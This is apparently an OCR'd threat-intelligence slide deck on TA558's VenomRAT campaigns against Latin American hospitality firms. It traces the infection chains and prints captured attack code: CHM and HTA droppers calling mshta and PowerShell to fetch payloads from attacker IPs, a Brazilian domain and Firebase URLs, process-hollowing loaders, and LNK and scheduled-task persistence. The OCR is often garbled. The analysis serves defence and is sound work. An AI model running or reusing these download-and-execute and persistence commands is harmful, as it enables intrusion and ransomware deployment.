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Malware Hybrid Approach Threatloba
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Threat Landscape - Remote Access Trojans ThreatLab&

Top 10 RATs in ZScaler Cloud

Win32. RAT.ROMCOM
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Threat Groups Leveraging Top RATs Threatlabe
TA558 NjRat, RemcosRAT, AsyncRAT Hospitality & Travel Sector
APT33 RemcosRAT Energy, Aviation and various other sectors
APT-C-36 NjRAT, AsyncRAT, LimeRAT Colombian government institutions & financial,
petroleum industries
TA2541 AsyncRAT Aviation & Transportation
Patchwork QuasarRAT Diplomatic and Government agencies
Mustang Panda NjRAT Foreign governments & NGOs
Gamaredon APT BitRAT Ukrainian Government Agencies
Confucius APT WarzoneRAT Military & government agencies in Pakistan &
China
Kimsuky QuasarRAT South Korean Government Agencies
APT18, IronTiger GhOstRAT Technology, Manufacturing & Government



About Threat Actor - TA558

« Afinancially motivated threat
actor active since 2018.

 Targeted Industry Verticals:
* Travel
* Hotel
* Hospitality

« Targeted Region: Latin
America

« Languages used in Lures:
* Portuguese
®* Spanish
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<html>

<title> PuTTY Help </title> %

. GRUPOFLY TOUR

<body>

S ding #ro="18p:  foadrorvadairs. oom br/t.pag” ai RESERVA FLYTOUR AMERICAN EXPRESS
<figcaption>Informagdes da Figura</figcaption> . .

</tiguze> Pinheiro Machado

CNPJ: 00.691.172/0001-59

Relagéo de Hospedes Agentes de viagens.

Amauri Oliveira Porto
Mateus Oliveira Brito
Vagner Santos Conceigdo
Arlete Moreira Nunes
Priscila Alcantara Mendes
Josemar Borges

Tipo de quarto: Seis Quartos Casal com ar-condicionado e frigobar “Agua e
refrigerante somente”. O hospede que pedir qualquer alimento para
consumo devera ser cobrado diretamente dele. A agua e refrigerante
também devera ser cobrado diretamente do hospede.

Nos envie a tarifa para Agente de viagens se possivel.

Reservation - FlyTour Booking
Grupo FlyTour - Tourism company in Brazil
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Venom RAT Campaign By TA558 ThreatlLabz
» Observed Multiple TA558 campaigns delivering the RAT with Ransomware module
"VenomRAT"

« Campaigns began around October 2022 and still active in 2023

» Created two clusters based on the varying TTPs (Tactics, Techniques and Procedures) seen
in the infection chain delivering VenomRAT over time

TA558 Campaigns

15

Campaigns

Oct 2022 Mov 2022 Dec 2022 Jan 2023 Feb 2023

Months
7
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VenomRAT ThreatLabg

%4 Venom Software - Remote Admi X + = (a)

= C & venomcontrol.com Q % 0O e Incognito (2)

« Been In-the-Wild since 2020

&4 VENOM R2F Home BULLETPROOFVUPS/RDP  Venom SoftwareRules ContactUs VideoGallery <7/ m
W1
W

« Sold as Malware-as-a-Service
(MaaS) by Venom Control Software

« Carries out transactions through the R I R M1 <2
Sellix-io platform BREMOTE AN R AN OO version has just been released successfully. v6.0.1

i U pd ates are p rOVi d ed O n th e [Added Stub Configuration [Any CPU, x86bit, x64bit.]

[Added Advanced Online - Offline Keylogger

Telegram Channel e Setie targesapplcadon]

[Added timer for Online - Offline Keylogger
target application.]

 Various Features & Modules: S ——

For Online - Offline Keylogger]

Please PM me with your ORDER ID for the new Update.

« HVNC, Stealer, Miner, Ransomware, AV Evasion,

» Hidden browsers, Keylogger etc.

Vimeo
Venom RAT + HCNV [ Online Offline 1.mp4

i 2 All Chrome based browsers = Passwords/ History/ Autofill/ bookmarks/ cookies (2 All
@ Firefox based browsers = Passwords/ History/ bookmarks/ cookies [ Edge browser..
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VenomRAT ThFeOtLCIb;

« Variant of QuasarRAT - Modified
Code

» Configuration decryption routine is
similar to the QuasarRAT

Decryption Routine

QuasarRAT

* In TA558 campaigns we saw two Config Decryption

versions of VenomRAT been : e
leveraged by TA's: __ Finin;

_ pubc static bool Initialize()
*  VenomRAT v2.7.0.0 {
° VenomRAT v2.8.0.1 if (string.IsNullOrEmpty(VERSION)) return false;
var aes = new Aes256(ENCRYPTIONKEY);
TAG = aes.Decrypt(TAG);
Module VERSION = aes.Decrypt(VERSION);
HOSTS = aes.Decrypt(HOSTS);
SUBDIRECTORY = aes.Decrypt(SUBDIRECTORY);
INSTALLNAME = aes.Decrypt(INSTALLNAME);
MUTEX = aes.Decrypt(MUTEX);

STARTUPKEY = aes.Decrypt(STARTUPKEY);
SN ORRORRRRRRRSESSGGNGSGGEGGSG—————

®*  Both versions have Ransomware
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Infection Chain - Cluster1 YR

C

Google Drive

OB

RAR/ZIP Malicious CHM
Archive

* CHM file bundled inside a RAR archive downloaded from Google Drive.
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gﬂ<OBJECT id=shortcut classid="olsid:52a?aaae-085d-4187-97ea-B8030db990436" width=1 height=l>
CHM <PARAM name="Command" wvalus="ShortCut":
M I. . CHM <PRRAM name="Buntton" wvalue="Bitmap:shortont">
alicious <PLRILM r.ame="Iteml"|vaJ.1:.e=“,c'.md,,'c cmd /o mshta http://pedrosvadeira.com.br/1.hta"> I

<PRRAM name="Item2" wvalue="273,1,1">

-</OBJECT>

H<«scripT>
shortcut.Click()

< /SCRIPT:

F</body> gﬂ<OBJECT id=shortcut classid="clsid:52a?aaae-0854-4187-972a-8030db990436" width=1 height=l>

—</html> <PAREM name="Command" value="ShortCut">

<PRRAM name="Buntton" wvalue="Bitmap:shortont">

<PLRLM r_ame=“Item1”|value=”,cmd,,-'c omd fo mshta http://20.151.163.33/apg.hta"> I
<PRRAM name="Item2" wvalus="273,1,1">

-</OBJECT>

H<scripT>
shortcut.Click() ;

F</SCRIPT>

</ bodys>

« CHM File downloads and executes a HTA File using a trusted Windows utility
‘MSHTA.exe”



&> zscaler

Infection Chain - Cluster1 YR

C

Google Drive

 — S
HTA

RAR/ZIP Malicious CHM HTA file
Archive

« HTA downloads and executes obfuscated VBScript from the Remote URL using a
PowerShell script.
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<script language="VBScript">
FSub window_onload

const impersonation = 3
HTA Const HIDDEN WINDOW = 12
sep=nFKPbQ ("Wb emS crip ti ng.SW bemLo ca tor")
RemOTe HTA Set Locator = CreateObject (sep)

Set Service = Locator.ConnectServer ()
Service.Security .ImpersonationLevel=impersonation

separado=nFKPbQ("Win 32 Pro cessS tart up")
Set objStartup = Service.Get (separado)

Set objConfig = objStartup.Spawnlnstance
Set Process = Service.Get ("Win32 Process
gshjgjshsjhsusyuiweiwuwiuwiniww = "
'Net.'+'Web'+'Cli'+'ent) '+'.Dow'+'n
start-process (Senv:APPDATA+'\\"+'ne.vbs")"

yle hidden $r='KEX'.replace('K','I"); sal D $r;'(&(GCM'+' *W-0%*) "+
http://20.151.163.33/site/att.txt'", Senv:APPDATA+' "\\"'"+'"ne.vbs"'") ' |D;

Error = Process.Create(gshjgishsjhsusyuiweiwowiuwiviww, null, objConfig, intProcessID)

L window.close ()
end sub

Error = Processs.Create (gshjgjshsjhsusyuiweiwuwiuwiuiww, null, objConfig, intProcessID)

« Remote HTA spawn a new PowerShell process which downloads & executes an
obfuscated VBScript

. VBScriEt executed using Start-Process



Infection Chain - Cluster 1

Google Drive
. b Downloads ~
L — — _— %
HTA
H Executes (S
RAR/ZIP  Malicious CHM Remote HTA Obfuscated
Archive VBScript

» VBScript decodes Loader PowerShell script

@S> zscaler

ThreatLaba
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55  agoraval = teclade(™' = ogidoC%") & criatividade & "'"
56 agoraval = agoraval & ";50WjuxD = [d}e @@Tke@a (0¥ EN ] }+@% |@0% -ysten, H+@( 0@+ 1@* +@%w* 0N @+%90 : L 1eax”
& 7 agoraval = agoraval & "t.#F0@*F}R(@( e Taldd B4 (4e4Incod”
58 | agoraval = agoravai & "ingl::(O:0ed e-f-o0l B (H(I0e@+0d@etenicode. B (08T 0+] 3 Meoa 3 ( #@7  ad@ e+ ] 4 JetString( "
( ¢ 55  agoraval = agoraval & "[System.Convert]: :%é: Weopdloaltd-@e® : 1o JO(p( "romN+#}@1 -4 1@+ L4 (4" (epidd }* (0 (edasesdst™
60 | agoraval = agoravai & "ring( $}:@**A%@r4 4@E: 0%{VA-I300~} (3 (odi" "
obfuscqted 61 agoravai = agoraval & "go.r}*(4:@0%4+e]+dd@+4 50 ( (+@UAT (apl™ Replace & Concat FunCtlonS
62 | agoraval = agoraval & ":4dio@l(@+*esa(@  (o(14E (-ce(" D', A" ) |LrbE (4 @dF 48 ]+ dd@+d 20 (+RGAT ("
VBSCI‘ip‘I’ £3 | agoraval = agoraval & "pl:4dEe@-L(@+*ea(@} (o(]4E~(-ce( ' BMISQHGKZ A% ,'"
£4 agoraval = agoravali & (eita)

£5 @ agoraval = agoravai & bay( "');powershell.exe -windowstyle hidden -Exe:utionPolicy Bypss -NoProfile -Command $OWjuxD" & "WDySjnt
66 agoraval = Replace(agoraval," (14 p@Tc@a (40560 ] 1 +H2e ]@aei~","5")

7 agoraval = Replace(agoraval,"H+@(30@T+-JE*+@%=* I (@+%40: bie™,"T") Variable .
£2  agoraval = Replace(agoraval,"eF0@*}}(#@("»"e}ald* B-*a(4uwd}" "E") DECDdEd PS Scrlpt
69  agoraval = Replace(agoraval," ({300 4-9-:0(: 8 (H(G06E+0dE0}e", "U") Names |agoravai |
70 | agorawal = Replace(agoraval,"&*(00}0+]1 Mea} (@7 : OV -+]4=]","G")
71 agoravai = Replace(agoraval,"##: Wepdoal}de@e* T rde: LO(p (™", "F") Type: |Sh’ing |
72 | agoraval = Replace(agoravail,"M+#}@}}-4}@*le(a™(epddd}+(q(ed","B")
731 agoraval = Replace(agoraval,”}:@**ae@r4 4@0@: 0P dsaa00n}F(a(","C") Value: '$C_odigo_= ) o o ] - -
74 agoraval = Replace(agoravai,":4dEe@-l(@+*esal(@r (o148~ (-","a") JBM DB DZwBL OC 7 OPQ Ug DT IQBN Bk TUnB
| ot - et e e
76 dim furacao BbFM CeQBz HQZQB T4 OBy TG4 dgBl HI
77 furacag = "s" dBd CDo P0gBG CHI ChwBt PEI Y QBz G Mg
7 e | DOFM T DBy Gk TbgBn TCa U1 Tk DEW TS BN E
" atormei + ComsCgran, frscn 75« furcae, ) ) SeretatEoiry s |
a0 : : -
841 set jaera = CreateObject("WScript.Shell™)
jaera.Run( "powershell -command " & (agoravai) ), @, false Add Watch Cancel

 Obfuscated VBScript concatenate and replace functions to decode and execute a PS
script
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Infection Chain - Cluster2. - YR

C

Google Drive

‘ . A Downloads % Decodes
_> _’
HTA (S
recates

RAR/ZIP  Malicious CHM Remote HTA Obfuscated Loader PS1 Script
Archive VBScript

» Loader PS Script loads the Downloader & Injector DLL



Loader PS1 Script

$fuUN = [system Convert]::FromBase64String( $LBg’K replace('/\%f‘ 'A') )
:CurrentDomaln Load ($£uUN) .GetType('Cla ibrary3.Cla ') .GetMethod ('Ru

£8935be75189-b0f 1134-b617-58%e1behz+f “la?t,. b/o/moc.t /b/0v/moc.sipat if/ ptth'))

TVao //8RAL ARAARA AARAAR A afugdAtAnNIbgBTMehVGh
wacmOn(nFtIGHhbm%vdfBi7SBydwdgawdgREOTIGi\'YGWAAWBQRQMTAFDAADVFJUAAAAAAAAAAOAAIiALAVAAAFaAAAAGAA

AAARAAGTRAAAAZAAAAGAAAAAAAE AAGAAAAAGAABA A GAMAARAAAMAYT AAEAAAE,

AARAARAARAARAAFR TAAATEDAAAAAAGAITIAAS A A A L DA ARAARABARA RARRAR

e~ e i mor A Reversed URL
AAAACAAAGAUCNY YWAAAT gDAAAA, QAAABOA AAA BAAABALNI1bGY]. AC
. 5 time: 8sas =

Output Loads the Binary weizee @O@E - O

M2 saheids ) B e B R R e e..” 1t .LI1This program cannot be run in

DOS mode

 Decoded PS Script decodes the huge base64 encoded blob which is a PE File
“ClassLibrary3.dll”

« The DLL is loaded by executing the "Run" method - argument to the Run method is a

reversed URL
SN ORRORRRRRRRSESSGGNGSGGEGGSG—————
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Infection Chain - Cluster1 - YR

C

Google Drive

. A Downloads
: N Decodes Loads
—_— s _ _
HTA DLL
(S
Executes

v

RAR/ZIP Remote HTA Loader PS1 Script Downloader & Injector
; Obfuscated
Archive . . DLL
Malicious CHM VBScript

 Downloads and Injects the Final Payload into Remote process



(LABWIK) ) 5

ThreatLabz

@ https;/ffirebasestorage.googlea; X +

RAT payload hosted on Firebase

C & firebasestorage.googleapis.com

DLL

Downloqder & I njector AMTesIWbIN3chOCPKATe 5

WGZvWDI gogPSmY tV2cz FEduVGZuVGe 1R2L BACT gAiC+8CIgACTgAiCioil
T94WZroGVSV2S ] 16biVHE gACTEACTAICi 0d T9UMC 1R3Y1RXa0NmC B1 3bzNDZ  ImcwBCTGACTGACTI| CMuA] Lwa iNi 0 byl 2cyVmdgACT gACTgAL CiMHbyIHAU92Qt4 2bt 1 2bDSy:
1SP1EXe@BCIgACTgACTKkHApRNB1RWS SxmY+V2c zF GPEACTACIKATe s JubIN3CBRnb1Rmb1BXZkxD JeAC TKATe jSWZkSWZWVGZBACTKA jbv1GdhNias BHC hOCPgAi CHI3Zul Gdav2)|

DLL dmbpRHA1N1c39G: VYTHWIZL11eUve2bj5Cdmo2cvI3YpimlzFiublh2Y z9y L 6AHdehmIoMNbs JoegUmchdXQoRXYQAmbvXGPEACT BACTK4ZCzVmbLIXY3FUaWR2L

NTHwIzL J18Uv82bj5CdmI2cy I3¥plml zFlib1h2Y2z9yL 6AHABhmI9Mnb s1GegM3c1SHZy F2dB 16! ACTgALCHImchdXQpBHZVWTbwISZ1JHd+ Ty cnSk:
GbthHI1IXY3FUawRGPEACT EACTK4ZCNSWaBRXZ TN dvRmbpdHPEACIgOgPiMjdua2 chpTbviILe:

1@XYSEWNXEGM1QNZAQT L1EWO11C01ZGNEM] YmIWLY ETY3YGH 1hzei6DZIByUPRWZBI3bwBX
Z1RncVBHCINHPGACIGACTKAT LtASMugDI2d3bk5WaXBSLtECPEACT gACTKAzL 16HOZUMNRT Y

Input length: 1,251,328

X
Name: bibi.txt
N Size: 1,251,328 bytes
#-File icon
Type: text/plain

Loaded: 100%

Reversed + Base64

Decoded
start: 77 tingt 5737ms

555 end: 77 len 2456 Il r
OQutput . 1ength: 5] O e La
1z R P B veee e eeee e e
........ 2.7 ! .LI!This program cannot be run in DOS
ode 0
....... PEL.T )

VenomRAT wit Ransomware Module

DLL downloads and injects VenomRAT with Ransomware Module from
remote process "RegAsm.exe" using Process Hollowin

Firebase into
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Infection Chain - Cluster. .. fomoe

ThreatLaba
Google Drive
‘ : h Downloads A Decodes Loads
HTA g > > |DLL
Executes S
RAR/ZIP Malicious CHM Remote HTA Obfuscated Loader PS1 Script Downloader & Injector
T Process
VARIATION Hollowing

Downloads VBScript using Wget
then executes it

VenomRAT
with
Ransomware Module
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—
—|<OBJECT id=shortcut classid="clsid:52aZ?aaae-085d-4187-9T7ea-B8c30db9%90436" width=1 height=1>
<PARAM name="Command" value="ShortCut":
<PRRAM name="Button" wvalue="Bitmap:shortcout">
<PLRAM name="Tteml" values",cmd,/c powershell wiet 'http://pedrosvadeira.com.br/vitorianagunerra.txt' -OntFile 'C:\Users\Puoblic\pl.vbs': Start 'C:\Users\Public\pl.vbs'"> I
<PARAM name="Item2" valuc=",pDoOWerShcll.cXe, SLart C:\UScrshPubliCL\pUtLy.cexe "
<PARAM name="Item3" value="273,1,1">
Htry { if (x.commandLine 1= "") {
|a=”crr.:l /c powershell wGet 'http://52.187.50.165/site/att.txt' -OutFile 'C:\Users\Public\putty.vbs'; Start '=3:'-.'Jse:s".P':.b'_'_c'-.p;t,t,;-'.'-.fbs'"|
new ActiveXObject ("Wscript.Shell"™) .Run{a)
1
 The mal CHM File directly downloads and tes the ODbf ted VBScript
€ maliCIous e airec ownioads ana executes tne uscate Cri

using Wget
 Rest of the infection chain is same.
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Infection Chain -Cluster2 YR

C

Google Drive

- A Downloads 7\
S I &
Executes (¢

Downloader
VBScript

RAR/ZIP Malicious CHM Remote HTA
Archive

 The Infection Chain is similar to Cluster-1 until the Remote HTA downloads and
executes the Downloader VBScript.



PN
=)
(¢

Downloader
VBScript
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Wscript.Sleep 3000

Dim shell, command

strCommand = "Powershell.exe noexit $cl='(New-Cbject Net.We'; $cd4='bClient) .Downlo';
$c3='adsString(''https://firebasestorage.googqleapis.com/v0/b/dsadsa-4c70a.appspot.com/o/ewh.txt?alt=mediastoken=54553b76-34aa-47ee-b67e-45a£04d23a4
e'")";STC=I"E"X ($cl,5c4,5c3 —Join "") |I"E"X"

set OOKW = CreateObject("wScript.shell")
OOKW.Run strCommand , 0

» Downloader VBScript “ne.vbs” initially sleeps for 3 seconds.

Executes a PowerShell one liner which downloads & executes a PowerShell script

“‘ewh.txt” from Firebase.
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Infection Chain - Cluster2 - YR

C

Google Drive

. N Downloads Downloads
L — — _
HTA

Executes Executes

ga

Downloader Downloader  RunPE Loader
VBScript PS Script PS Script

RAR/ZIP Malicious CHM Remote HTA
Archive

 RunPE Loader PS Script loads the RunPE Module for executing the Final payload as an
argument
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—
$g78£fgh00=[char]73 + [charlc? + [char]ff e .
sal durgSt $g78£gh00 IEX / DownloadString
[byte[]]l%server=[System.Convert] : :FromBase64String ( (New-Object Net.WebClient) . (-join[char[]1](e&,111,115,1°0C
'https://firebasestorage.googleapis.com/v0/b/dsadsa-4c70a. appspot.con/o/dasdsadsa. txt?alt=mediastoken=d5
[Byte[]l]l $DLL =[System.Convert]::FromBase64String((New-Object Net.WebClient). (-join[char[]l](e=,1.1,11%,110,10
'https://firebasestorage.googleapis.com/v0/b/tempest-h36fl.appspot.com/o/run2. jpg?alt=media&token=alce3355

RunPE Loader Sy=" [SYSTEm.AD#####~ A3 aax L LLITLLIIIILI LI I 1) L ARRRREERE<<<<<<<<C<<<<<LL<LL>>>>>>>>>>ain] ' . replace {

. TREFFFORAEFARALLLLLLLLINILII NN I @RRRRELRA<<<<<<<LL<LLLLLLLLLIIBH>H>H>>>>> ", 'phom' ) |dwrg5t ; $g55=§y . GetMethod ("get_CurrentDomain™})
PS Script
Sewel="5g55 . In###f# * A bk LI IIIIIIIIII Il QRRRRAERERC<CLLLCCCLLLLLLLLLLL>>>>>>>>>>ke ($null, $null) ' .replace(
Vg LLLL LI L RRRREARERECCLCLCCLLLLLLLLLLLDIBBB>RSS T, 'vo ') | durg5t
SwwESdd="Sewel . Lof#### Fxxxaxx LTI LIIIIIIIIIINITITII I IQRRERRRAAACCCCCLLLLLLLLLLLLLLZP>H>>>>>>>> (SDLL) ' . Replace (
TREFFF ORI i P ARRRARRRACCCCLLLLLLLLLLLLLLD BRI, Tad )
Loads the DLL into the Application Domain - AppDomain.Load($DLL) RunPE Module

$wwfbdd| dwrgsSt

Injects VenomRAT into Remote Process
Windows\Microsoft.NET\Framework\v4.0.3031%\aspnet compiler.exe', $sexver) via RunPE module
ws\Microsoft.NET\Framework\v2.0 IN\caspol.exe', $server)

[RunPE.RunPE] : :Execute('C
[RunPE.RunPE] : :Execute('C

» PS script downloads the VenomRAT and RunPE Module from Firebase

» Using the "Execute" method of the RunPE Module, injects the VenomRAT into a remote
process
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Infection Chain - Cluster2 . fYoxom

ThreatLaba
Google Drive
2 N Downloads Downloads Downloads
‘ > — — - — DLL
His Executes ‘ Executes Executes
. D load Downloader RunPE Loader RunPE Module
RAR/ZIP Malicious CHM Remote HTA VBScript PSScript PS Seript
Archive Process
Hollowing

VenomRAT
with
Ransomware Module
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DLI_ _— Name: 1£3b36c03dbe29465¢41da57033710,
Process P oy S 1251320 bytes
HO"OWing N Type: unknown
RunPE Module VenomRAT Loaded: 100%
with

Ransomware Module

[5TAThread]

[1 args)

I D @..@.reloc....... .......

[P,

 VenomRAT with the Ransomware module is injected into the remote process
“Aspnet_compiler.exe” and “caspol.exe” via the RunPE Module
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Infection Chain - Cluster2 . foz==

ThreatLaba
Google Drive
. A Downloads ‘ Downloads Downloads
‘ > . . - % ., DLL

His Executes C ¢ Executes Executes
.. Downloader Downloader RunPE Loader RunPE Module

RAR/ZIP Malicious CHM Remote HTA VBScript PS Script PS Script

Archive VARIATION H':ﬁf:is:g

VenomRAT
with
Ransomware Module
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VARIATION
separado=nFKPbQ("Win 32 Pro cessS tart up")
Set objStartup = Service.Get (separado)
Set objConfig = objStartup.SpawnInstance Downloads SCFiptS from Firebase
Set Process = Service.Get("Win3Z Process" ////

HTA

gshjgjshsjhsusyuiweiwuwiuwiuiww = "Powershell -windowstyle hidden Sr="KEX'.replace('K','I'); sal D 5r;'(&(GCM'+' *W-0%)'+
'Net.'+'Web'+'Cli"+'ent) '+'.Dow'+'nl'"+'oad"+'Fil'+'e (' 'https://firebasestorage.googleapis.com/v0/b/patoroco-4aed6.appspot.com/o/ vy
vvv.txzt?alt=media&token=2heefelc-b2ce-42326-897d-e2feldfeeddl'", '"C:\ProgramData\v.vbs"'"') "' |D;

Remo-re HTA start-process (Senv:ProgramData+'\\"+'v.vbs")"
venom= "Powershell -windowstyle hidden $r="KEX'.replace('K','I'); sal D Sr;'(&(GCM'+' *W-0*) '+
'"Net.'+'Web'+'Cli'+'ent) '+".Dow'+'nl"+'cad"+'Fil'+'e (' "https://firebasestorage.googleapis.com/v0/b/patoroco-4aedb.appspot.com/o/ng
vovenom. txt?alt=media&token=986eddae-7627-4612-b744-06407e9%cf60e'"', ' 'C:\ProgramData\vn.psl'") " |D;"

« "

Error = Process.Create(gshjgjshsjhsusyuiweiwuwiuwiuiww, null, objConfig, intProcessID) — Executes "v.vbs

Error2 = Process.Create(venom, null, objConfig, intProcessID) ﬁ\HH\
Saves vn.ps1 in ProgramData

window.close ()

« Downloads two scripts from Firebase and saves it in the ProgramData directory as
“v.vbs” and “vn.ps1” which is the RunPE Loader PS Script

» Executes the saved Exec-Persist” VBScript “v.vbs” using Start-Process

« The RunPE Loader PS Script "vn.psl" is never executed by the Remote HTA
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Infection Chain - Cluster2 0=

ThreatLab&
Google Drive
. A Downloads Downloads Downloads
‘ > . —— g ., DLL
Executes C Exccutes. executes
.. Downloader Downloader RunPE Loader RunPE Module
RAR/?IP Malicious CHM Remote HTA VBScript PS Script PS Script
Archive Process
VARIATION Hollowing
0N VARIATION Downloads
(¢ Create l Executes

Exec-Persist

VBScript % —
VenomRAT

LNK with
. iati i Ransomware Module
Variation - LNK Persistence Persistence - LNK File in Startup Folder
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ThreatLaba

WScript.Sleep 3000 Executes vn.ps‘l
— Dim shell, command /

commandl =|"powershell -windo 1 -noexit -exec bypass -file ""C:\ProgramData\vn.psl"""
VARIATION

set OOKW = CreateObject("WScript.Shell™)
OOKW.Run( "powershell -—-command " & (commandl) ), 0, false

O Set objshell = CreateObject("WScript.shell")
strDesktop = objsShell.SpecialFolders("appdata")
‘ strPublic = objShell.SpecialFolders ("ProgramData™)
Set objLink = objShell.CreateShortcut (strDesktop & "\Microsoft\Windows\Start Menu\Programs\Startup\Viual Frontal Hotel.lnk")

objLink.TargetPath ProgramDatas” & "\v.vbs Creates a LNK File in the Startup folder to

H objLink.Arguments = "" . . . . .
Exec-Persist objLink.WorkingDirectory = "SHOMEDRTVESSHOMEPATHE" maintain persistence on the infected machine
rogram Files (

H objLink.IconLocation =
VBscrlpt objLink.Description = "VHE"
objLink.Ssave

P
%286) \Internet Explorer\iexplore.exs, 1"

| =1 Manage Manage Startup - o <
Home Share View Shorteut Tools Application Tools . )
4 || «|AppDats » Rosming > Microsoft > Windows > StsrtMenu > Programs » Startup | v o O Search Startup
Name - 2 Vival Frontal Hotel Properties x | The LNK File is

s Quick access - .

B Deskiop |2 Viual Frontal Hotel General Shoricut Securty Details  Previous Versions 3K executed automat|ca|ly

& Downlosds  # BN e ortal Hote at startup which runs

Documents  # Ll the "v.vbs"

=] Pictures * Targetiype:  VBSeript Scriot Flle

& OneDrive Target location: %ProgramData’

= spe Target [[+FrogramData’%tw vbs] |

¥ Network Start i "/.HOMEDRIVE’/.'I.HDMEPATH’/. |

Shortout key: ‘Nane |

Run: Normal window v

ile Comment [vrF | Windows (CRLF)  UTF-8

* For persistence, a LNK File is been created in the Startup folder which executes the
Exec-Persist VBScript at startup.

« LNK File names: "Viual Frontal Hotel.Ink"

« Executes the RunPE Loader PS Script "vn.ps1”
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Infection Chain-Cluster2 = Tt

C

Google Drive

. N Downloads Downloads
L — — _
HTA

Executes ‘ Executes

Downloads

DLL

Executes

g g
Downloader Downloader RunPE Loader RunPE Module

VBScript PS Script PS Script
Process
VARIATION l Hollowing

RAR/ZIP Malicious CHM Remote HTA
Archive

VARIATION

Download O VARIATION Downloads
VBS using E t
CURL S Create l xecutes

Exec-Persist

VBScript % —
VenomRAT

LNK with
) . Ransomware Module
* LNK Persistence using Curl Persistence - LNK File in Startup Folder
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VARIATION

k <OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1>
<PARAM name="Command" value="Shortcut":>
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Iteml" value=", powershell, -WindowStyle Hidden curl
(:Fihﬂ 'https://firebasestorage.googleapis.com/v0/b/novoak-635e0.appspot.com/o/eldanadon. txt?alt=media&token=9c54ff48-2511-4d7£f-8134-e7ed70efd95¢c' -o
'C:\Users\Public\v.vbs' ;Start-Process 'C:\Users\Public\v.vbs'">
<PARAM name="Item2" value="273,1,1">

MG|ICIOUS CHM strCommand = "Powershell.exe -noexit Scl='(New-Object Net.We'; Scd4='bClient) .Downlo';
Sc3='adString(''https://firebasestorage.googleapis.com/v0/b/novoak-635e0.appspot.com/o/2 1.txt2alt=mediastoken=bl73beb2-6c95-4cb5-bebe-428cabadd76f"'"')';STC=I"E X
(Scl,5c4,5¢3 -Join '"") |I'E X"

set OOKW = CreateObject("WScript.Shell™)
OOKW.Run strCommand , 0

Downloads and Executes the RunPE Loader Powershell script

Set objShell = CreateCbhject("WScript.Shell™)

strDesktop = objShell.SpecialFolders("appdata™)
strPublic = objShell.SpecialFolders("public™)
Set objLink = objShell.CreateShortcut({strDesktop & "\Microsoft\Windows\Start Menu\Programs\Startup}Prime Video.lnk"

objLink.TargetPath ="%public%" & "\v.vbs" ‘
objLink.Arguments = \/

objLink.WorkingDirectory = "%HOMEDRIVE%%HOMEPRTH®" . .
ocbjLink.IconLocation = "C:\Program Files (x86)\Internet Exp'_o:e:, i Persistence Mechanism
objLink.Description = "VHF"

objLink.Save]

 Downloads the Exec-Persist VBScript “v.vbs” from Firebase using CURL and
further executes it using Start-process

» Exec-Persist VBScript downloads & Executes the RunPE Loader PS Script which injects
VenomRAT into remote process and it also maintains persistence on the infected
machine by creating LNK File in the StartUp folder.

* LNK File names: "Prime Video.Ink"
SN ORRORRRRRRRSESSGGNGSGGEGGSG—————
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‘ Persistence - Scheduled Task
Google Drive VARIATION 4" v
. A
- Downloads ‘ Downloads Downloads
. —— g > DLL
Executes ‘ Executes Executes
. . Downloader Downloader RunPE Loader RunPE Module
'X:-Er{ﬁip Malicious CHM Remote HTA VBScript PS Script PS Script .
rocess
VARIATION l Hollowing
VARIATION
5;:2::; % VARIATION 1o ods
CURL C < Create l Executes

Exec-Persist

VBScript % —
VenomRAT

LNK with
. Ransomware Module
* Persistence — Scheduled Task Persistence - LNK File in Startup Folder
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— 8g78fgh00=[char]173 + [charlc® + [char]li® g?crlitiileel:\ 3030
sal dwrg5t $g78£gh00 im shell, comman . ) )
command = " -windo 1 -noexit -exec bypass -file ""C:\Users\Public\2.psl"""
VARIATION

[byte[]]1$server=[System.Convert] : :FromBase645tring ( (New-Object Net.WebClient) . (-join[char[,

' ps: iretl r leapis.c v0/1 p -b3éfl.appspot.com rvervencm. ?al
_ https://firebasestorage.googleapis.com/v0/b/tempest-b36fl.appspot.com/o/servervenom. txt?a KS5="Dowt | 3erd|Sshd|sell” vlvbs

~ /\\ . ) . L. _LArray = Split(xs, "#[%")
£ ’\,\ [Byte[]] $DLL =[System.Convert]::FromBasef4String((New-Object Net.WebClient).(-join[char[]! gl = LArray(0)+LArray(l)+LArray(2)+LArray (3)+command \
i\ 'https://firebasestorage.googleapis.com/v0/b/tempest-b36fl.appspot.com/o/run2. jpg?alt=medis:
\_ —9) set OOKW = CreateObject ("WScript.Shell") Execute
< ~4 s "I . n. Ap# i gk L LLLLLLLLEE LI GREREERE B << CLCCCLLCLLLLLE>>>>>>>>>]00KN. Run ( "powershell —command ™ & (gl) ), 0, false RunPe Loader
4 3 .
~! —-‘/ WScript.Sleep 15000 script
R PRI NN @ARRRARRRL L L LI LLLLLLLLL D222 00KW. Run ( "powershell —~command ™ & (command) ), 0, false
. "REREE IRt ARRERRGARCCC LKL 'V ) | dWIgew
Persistence '

- scheduled quk 'Sewel. FESFF A RAEE LI NI TARERERERACLCCCCCILLCLLICLLCLI >33 3»3 3> > (SDLL) ' . Replace(

Swwibdd| dwrgSt

Persistence via Scheduled Task
[RunPE.RunPE] : :Execute (' Windows\Microsoft .NET\Framework\v4.0.30318%\aspnet_regbrowsers.exe', K §server) T
[RunPE.RunPE] : :Execute (' 7 TaSk Name' h||h||Ed

:\Windows\Microsoft .NET\Framework\v2.0.50727\caspol.exe', §server) .
Runs "v.vbs" every 132 minutes
schtasks fcreate fsc MINUTE /mo 132 /tn hilhiled /F /tr "C:\Users‘\Publiciv.vbs"

(o]

9]

 RunPE Loader PS script schedules a Task named “hilhiled” using schtasks in order to
maintain persistence on the infected machine

 The scheduled task would run the Exec-Persist VBScript “v.vbs” without the LNK
Persistence every 132 minutes.

 The "v.vbs" VBScript is commissioned to execute the RunPe Loader Script
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File Name Analysis - TA558 ThreatLaba

« Based on our analysis, the following are the Threat Actor's most frequently used file

names:
Portuguese/Spanish English

Reserva Reservation
Modelo Reserva Reservation Model
Hospede/Anexo Hospedes Guests/ Guests Room
Dados Integrantes/Dados Integral Data/Given Members
Documentos Document
Nomes Names
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VenomRAT Analysis - Ransomware Module Lzt £

« The Ransomware Module is been initiated from the Command & Control server.

» Crypto addresses are also sent by TA

(DoEncrypt command, Clt client)

SetStatus("Activating Ransom.").Execute(client);

(command.btc, command.=th, command.

SetStatus("Target Encrypted....").Execute(client);
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VenomRAT Analysis - Ransomware Module Lzt £

_—"Target Location

.SpecialFolder. ) +

Desktop
My Pictures
Personal
My Videos
My Computer
My Music
System32
Drives:
